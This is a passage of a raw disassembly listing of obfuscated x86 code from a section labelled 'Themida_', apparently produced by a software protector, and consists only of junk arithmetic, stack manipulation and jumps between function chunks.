END OF FUNCTION CHUNK FOR sub_5680F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_5722B0: ; CODE XREF: sub_561541+62CCj mov eax, 40F77FAEh push ecx jmp loc_567173 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_5722BB: ; CODE XREF: sub_567B29+37CCj sub ebx, esi sub ebx, 2D166BBEh jmp loc_563AD9 ; END OF FUNCTION CHUNK FOR sub_567B29 ; =============== S U B R O U T I N E ======================================= sub_5722C8 proc near ; CODE XREF: sub_562BA0+23A9j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00566D02 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056751C SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00569270 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056A502 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D2F3 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056D503 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00572A86 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00573CBB SIZE 00000008 BYTES push ebp mov ebp, 4 add ebx, ebp pop ebp push eax mov eax, 4 sub ebx, eax pop eax xchg ebx, [esp+0] mov esp, [esp+0] mov [esp-8+arg_4], edx push [esp-8+arg_8] pop edx pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] push [esp-0Ch+arg_8] push [esp-8+arg_4] mov eax, [esp-4+arg_0] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_56A502 sub_5722C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_57230B: ; CODE XREF: sub_56AB5E+3210j push 6C24h jmp loc_56B6F5 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_572315: ; CODE XREF: sub_570732+35AEj mov ecx, [esp+4+var_4] add esp, 4 jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568DD7 loc_572323: ; CODE XREF: sub_568DD7+36j push dword ptr [esp+0] jmp loc_572448 ; END OF FUNCTION CHUNK FOR sub_568DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_57232B: ; CODE XREF: sub_56102D+AD93j push [esp+8+var_4] pop ecx pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_5694CA ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_57233B: ; CODE XREF: sub_564D26-4227j pop esi push edi mov edi, 5B461C9Ah and esi, edi jmp loc_571055 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_572349: ; CODE XREF: sub_5692D3-1436j add [esp+0Ch+var_8], esi jmp loc_565F4F ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_572352: ; CODE XREF: sub_567CFE-63CEj and ebp, 3CA454D2h push eax mov eax, 4D911331h and eax, 78AE3689h xor eax, 47FA38BEh jmp loc_561A9B ; END OF FUNCTION CHUNK FOR sub_567CFE ; =============== S U B R O U T I N E ======================================= sub_57236D proc near ; CODE XREF: sub_568E5C+4B9Bj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00561B9C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005666E4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567553 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00568BD4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056CAB6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056D83B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056DA80 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0057026E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00571716 SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], eax mov edx, [esp+4+var_4] push 5487h mov [esp+8+var_8], eax mov eax, esp push esi jmp loc_571716 sub_57236D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_572389: ; CODE XREF: sub_56E0CB-79D1j dec ebx xchg esi, ebx jmp loc_572A95 ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_572391: ; CODE XREF: sub_5620B7+6A54j pop ecx pop edx pop ecx mov bl, al jmp loc_57389D ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- loc_57239B: ; CODE XREF: Themida_:0056A1A3j add ebp, 352C421Ch pop eax add ebp, esi sub ebp, 501C5826h pop esi push esi jmp loc_572701 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_5723B1: ; CODE XREF: sub_56D359-3CD2j sub [esp+10h+var_C], 6A99708Ch sub [esp+10h+var_C], 44AB068Eh add [esp+10h+var_C], edx push edi jmp loc_56464F ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_5723CB: ; CODE XREF: sub_563819+1C9j xor esi, 63946F38h mov edx, esi mov esi, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5743BF ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- loc_5723EA: ; CODE XREF: Themida_:0056E80Aj or ebx, 0DA60A94h xor ebx, 3DBF1BDFh add eax, 5AA32EB7h jmp loc_573620 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_572400: ; CODE XREF: sub_574896-145ECj push eax push [esp+arg_0] mov eax, [esp+4+var_4] push 5078h jmp loc_565DD1 ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FAE2 loc_572412: ; CODE XREF: sub_56FAE2-6A4Ej push [esp-8+arg_4] pop ebp add esp, 4 xchg ebx, [esp-0Ch+arg_8] pop esp push small 4836h jmp loc_57430C ; END OF FUNCTION CHUNK FOR sub_56FAE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_572426: ; CODE XREF: sub_56616D-4EC5j push [esp-4+arg_0] mov ecx, [esp+0] add esp, 4 add esp, 4 and eax, edx pop edx jmp loc_565787 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626B loc_57243D: ; CODE XREF: sub_56626B-1827j shr bh, 4 xor bh, 0Bh jmp loc_573561 ; END OF FUNCTION CHUNK FOR sub_56626B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568DD7 loc_572448: ; CODE XREF: sub_568DD7+954Fj pop esi add esp, 4 xchg ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] test ecx, eax pushf jmp loc_564DAE ; END OF FUNCTION CHUNK FOR sub_568DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_57245A: ; CODE XREF: sub_571088-7E6j mov ecx, [esp+2+var_4+2] jmp loc_565EA5 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_572462: ; CODE XREF: sub_571289+229Ej pop ecx push 3F55h mov [esp+0], ebx jmp loc_5725D6 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_572470: ; CODE XREF: sub_569DB5-31BCj push esp mov edx, [esp+0Ch+var_C] jmp loc_567105 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_572479: ; CODE XREF: sub_569A84-4B5Ej cmp cl, al pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_572481: ; CODE XREF: sub_574000-D859j add ebp, 0AB5AC14Bh add edi, ebp mov ebp, [esp+10h+var_10] add esp, 4 sub edi, esi sub edi, 26A1269Ch pop esi add eax, 38AC7C7Eh sub eax, 24845C9Bh add eax, edi add eax, 24845C9Bh sub eax, 38AC7C7Eh mov edi, [esp+8+var_8] push esi push esp mov esi, [esp+10h+var_10] jmp loc_571631 ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_5724BB: ; CODE XREF: sub_5726FB-11F48j mov [esp+4+var_4], edx jmp sub_5637A1 ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_5724C3: ; CODE XREF: sub_5673C3-128Aj sub ecx, ebx mov ebx, [esp+0] add esp, 4 jmp loc_5701A7 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_5724D3: ; CODE XREF: sub_574F16-14DB0j mov edx, esp add edx, 4 push edi mov edi, 4 sub edx, edi pop edi xchg edx, [esp+6+var_6] pop esp mov dword ptr [esp+2+var_2], ebx jmp loc_56694D ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C4FF loc_5724F0: ; CODE XREF: sub_56C4FF+Dj dec ebp dec ebp push ebp not [esp+0Ch+var_C] pop ebp jmp loc_56081D ; END OF FUNCTION CHUNK FOR sub_56C4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C553 loc_5724FC: ; CODE XREF: sub_56C553-B1EBj xor edi, 65502173h add ecx, edi mov edi, [esp+14h+var_14] jmp loc_562583 ; END OF FUNCTION CHUNK FOR sub_56C553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_57250C: ; CODE XREF: sub_56749A-7313j push esp jmp loc_5621DF ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_572512: ; CODE XREF: sub_568646-65EBj pop eax jmp loc_5603CA ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_572518: ; CODE XREF: sub_56BD44-23C5j push 4DC7h mov [esp+4+var_4], edi push 9E4h mov [esp+8+var_8], esp jmp loc_56A50C ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_57252D: ; CODE XREF: sub_5678CB+9ABEj pop ebp sub edi, 1BC1B39h add edi, eax add edi, 1BC1B39h add edi, 63F30ABEh pop eax jmp loc_56BC6F ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_572548: ; CODE XREF: sub_56351E+75E8j mov ebp, 407B0EBCh jmp loc_5668C4 ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_572552: ; CODE XREF: sub_5692D3-337Ej push [esp+8+var_8] pop ecx jmp loc_569024 ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_57255B: ; CODE XREF: sub_56C83E-870Fj mov eax, 90A2E353h sub edx, eax pop eax xor eax, edx pop edx push eax mov eax, esp jmp loc_56AF3F ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_57256E: ; CODE XREF: sub_5726FB-6841j sub edi, 4 push edi push [esp+8+var_4] pop edi jmp loc_566FE9 ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_57257C: ; CODE XREF: sub_56B71F+Bj mov [esp+8+var_8], eax mov eax, 5D8D363Ch push edx mov edx, 6F121E77h jmp loc_5683CF ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_57258F: ; CODE XREF: sub_565632+5386j mov [esp-0Ch+arg_8], edx push 60945FDh jmp loc_56BBC6 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5716F1 loc_57259C: ; CODE XREF: sub_5716F1-D8B2j push edi mov edi, 42DD0CA6h or edi, 57F4367Dh add edi, 343A26E4h xor ebx, edi pop edi mov edi, ebx pop ebx xor edi, eax jmp loc_571DD6 ; END OF FUNCTION CHUNK FOR sub_5716F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5725BB: ; CODE XREF: sub_571F6F+AFBj add bl, 97h push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_569DDE ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_5725D0: ; CODE XREF: sub_567D31+C5A9j pop edx jmp loc_566C55 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_5725D6: ; CODE XREF: sub_571289+11E2j push 1E9A56D4h pop ebx push esi mov esi, 65DB1A03h not esi jmp loc_56F080 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_5725E9: ; CODE XREF: sub_56FA15-987Cj add cl, dh add cl, 7Fh mov edx, [esp+0Eh+var_10+2] push eax push esp pop eax jmp loc_56B72F ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_5725F9: ; CODE XREF: sub_574CBE-2682j shl edx, 3 push ebp mov ebp, 10BFE23Dh sub edx, ebp pop ebp add eax, edx pop edx push esi push 2887h mov [esp+18h+var_18], ebx mov ebx, 553814ADh mov esi, ebx pop ebx add eax, esi pop esi sub esp, 4 mov [esp+14h+var_14], esi push edi jmp loc_564862 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_572628: ; CODE XREF: sub_571F6F-D53j or dl, ah pop ax jmp loc_5667C4 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560066 loc_572631: ; CODE XREF: sub_560066+9j mov edx, [esp+0] jmp sub_5610CE ; END OF FUNCTION CHUNK FOR sub_560066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_572639: ; CODE XREF: sub_574CBE-5DF5j shr edx, 4 jmp loc_5725F9 ; END OF FUNCTION CHUNK FOR sub_574CBE ; =============== S U B R O U T I N E ======================================= sub_572641 proc near ; DATA XREF: Themida_:0055FF1Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560950 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 005614D1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056406A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00564A0A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00564F33 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00565693 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005658A3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566E32 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00569E95 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00569F11 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00569FEE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056A4EC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056B61F SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056C42E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DAC8 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005705C9 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0057189C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00572746 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005729FF SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00573441 SIZE 00000009 BYTES lodsb push 5991h mov [esp+4+var_4], ecx push eax jmp loc_56A4EC sub_572641 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_572650: ; CODE XREF: sub_566117+78AEj pop ecx mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_572E55 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_57265C: ; CODE XREF: sub_5678CB+A148j push ax mov ah, 0C7h sub dh, ah pop ax jmp loc_567838 ; END OF FUNCTION CHUNK FOR sub_5678CB ; =============== S U B R O U T I N E ======================================= sub_572669 proc near ; CODE XREF: sub_5716A0-FE16j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560268 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00561B33 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00561DDC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056565A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00567A54 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00568537 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056EC70 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F8C9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056FAAE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057000B SIZE 0000000E BYTES push ebx jmp loc_56565A sub_572669 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57266F proc near ; DATA XREF: Themida_:0055FCF8o push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp+0], cl pushf jmp loc_55FF9F sub_57266F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_57267E: ; CODE XREF: sub_572E16-20FAj add ecx, 286C3D2Dh add ecx, 7677892h sub ecx, 6DCC2713h sub ecx, 0FFFFFFFFh shl ecx, 8 jmp loc_56F8E0 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_57269B: ; CODE XREF: sub_56C38F+2Bj pop ecx jmp loc_5693A8 ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_5726A1: ; CODE XREF: sub_57549C-D03Bj mov edx, esi pop esi push ebp mov ebp, 1E7D67C6h sub eax, 793E7FB0h sub eax, ebp add eax, 793E7FB0h jmp loc_5629EB ; END OF FUNCTION CHUNK FOR sub_57549C ; =============== S U B R O U T I N E ======================================= sub_5726BB proc near ; CODE XREF: sub_569DB5+7CFAj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056784B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057103F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0057473A SIZE 00000011 BYTES push ebx mov ebx, esp add ebx, 4 jmp loc_56784B sub_5726BB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E4D4 loc_5726C9: ; CODE XREF: sub_56E4D4+3420j mov ebx, [esp+0Ch+var_C] jmp sub_56ABD0 ; END OF FUNCTION CHUNK FOR sub_56E4D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5726D1: ; CODE XREF: sub_564D26+B871j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+20h+var_20] mov esp, [esp+20h+var_20] jmp sub_569193 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5726EB: ; CODE XREF: sub_57354D+C33j xor ebp, ebx mov ebx, [esp+10h+var_10] add esp, 4 jmp loc_5728F1 ; END OF FUNCTION CHUNK FOR sub_57354D ; =============== S U B R O U T I N E ======================================= sub_5726FB proc near ; DATA XREF: Themida_:0055FD90o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005607AA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00562784 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00566FE9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005671F8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568E3F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BEB4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005724BB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057256E SIZE 0000000E BYTES push edi jmp loc_5671F8 sub_5726FB endp ; --------------------------------------------------------------------------- loc_572701: ; CODE XREF: Themida_:005723ACj mov esi, 5790801Fh sub ebp, esi pop esi add ebx, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_564E57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_572725: ; CODE XREF: sub_561418+1258Cj push 174135EBh pop edi sub edx, edi mov edi, [esp+18h+var_18] add esp, 4 add ecx, edx pop edx push 3DE9h mov [esp+14h+var_14], eax jmp loc_56936F ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_572746: ; CODE XREF: sub_572641+E04j push 7BD2h jmp loc_56B61F ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_572750: ; CODE XREF: sub_571F6F-10145j inc edi not edi add edi, 62E85AC3h inc edi jmp loc_570BEC ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_57275F: ; CODE XREF: sub_564D26-2D77j add [esp+0Ch+var_8], eax jmp loc_56549E ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_572768: ; CODE XREF: sub_57354D-6FE7j sub ebx, 413A1557h shl ebx, 1 not ebx sub ebx, 0D315987Eh jmp loc_560703 ; --------------------------------------------------------------------------- loc_57277D: ; CODE XREF: sub_57354D-1059Fj add esi, ecx add esi, 6CD5132Dh push ecx mov ecx, 6B9519CBh add esi, ecx pop ecx push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 jmp loc_5696C6 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_57279F: ; CODE XREF: sub_575315-DA76j add ebx, ecx sub ebx, 59517FC3h jmp loc_563593 ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5727AC: ; CODE XREF: sub_57354D-F594j push 225Eh mov [esp+0Ch+var_C], ebp push [esp+0Ch+var_8] jmp loc_5736EC ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_5727BD: ; CODE XREF: sub_574896-6722j mov eax, esp jmp loc_56D5A5 ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_5727C4: ; CODE XREF: sub_565B6E-306j push 4DF61784h pop edi mov ecx, edi jmp loc_56866E ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_5727D1: ; CODE XREF: sub_571C93-E71j sub ecx, 0D056B4h jmp loc_569EFB ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_5727DC: ; CODE XREF: sub_56241E+59F7j add di, 99FDh jmp loc_56EDE3 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5727E6: ; CODE XREF: sub_561027+3415j xor ebp, 394F2F70h push 7212h mov [esp+20h+var_20], edi jmp loc_573A4F ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56925C loc_5727F9: ; CODE XREF: sub_56925C+Fj sub edi, 287E09D3h pop ebp jmp sub_560056 ; END OF FUNCTION CHUNK FOR sub_56925C ; =============== S U B R O U T I N E ======================================= sub_572805 proc near ; DATA XREF: Themida_:0055FD78o var_6 = dword ptr -6 ; FUNCTION CHUNK AT 0056B0B5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005701AF SIZE 00000009 BYTES lodsb push bx push 2231h mov [esp+6+var_6], edx mov dl, 4Bh not dl neg dl or dl, 9Ah jmp loc_5701AF sub_572805 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_57281E: ; CODE XREF: sub_571088-10C3Fj xor cl, 63h jmp loc_5708A0 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_572826: ; CODE XREF: sub_565849-3D97j add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_56F132 ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_57283A: ; CODE XREF: sub_56D69D+3Bj mov edx, 46FA2296h mov ebp, edx jmp loc_563AF2 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- loc_572846: ; CODE XREF: Themida_:0056C27Ej inc esi push ecx jmp loc_56FF62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56331C loc_57284D: ; CODE XREF: sub_56331C+8EDCj mov ecx, [esp-8+arg_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_560A69 ; END OF FUNCTION CHUNK FOR sub_56331C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_572864: ; CODE XREF: sub_566DFE-4FC6j push eax jmp loc_56E7E5 ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- loc_57286A: ; CODE XREF: Themida_:00562C1Aj sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_56F25B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_57287D: ; CODE XREF: sub_56FA15-9721j sub al, 4Ah sub al, ch add al, 4Ah add al, 0E3h pop ecx jmp loc_56B2C4 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_57288B: ; CODE XREF: sub_563BCC+8484j xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] mov esp, [esp+0] push 3873h jmp loc_56A027 ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_5728A1: ; CODE XREF: sub_572DD7-C2B6j pop esi xor edi, [esp+0] jmp loc_57339B ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5728AA: ; CODE XREF: sub_56B06D-41E8j push 0E58h mov [esp+1Ch+var_1C], esp add [esp+1Ch+var_1C], 4 pop [esp+1Ch+var_1C] push ecx push esp pop ecx add ecx, 4 sub ecx, 4 jmp loc_57039C ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_5728D0: ; CODE XREF: sub_5713A7-BEEEj sub edx, eax sub edx, 59496BD2h pop eax jmp loc_566C09 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_5728DE: ; CODE XREF: sub_56E126-B25j pop esi or esi, 2BE8638Ah push ebx push 0F829C4h pop ebx jmp loc_5677B7 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5728F1: ; CODE XREF: sub_57354D-E57j sub esi, 22CE2C9Bh add esi, ebp add esi, 22CE2C9Bh pop ebp xor esi, [esp+8+var_8] xor [esp+8+var_8], esi xor esi, [esp+8+var_8] pop esp jmp loc_567E2A ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- loc_57290F: ; CODE XREF: Themida_:00569827j push edx jmp 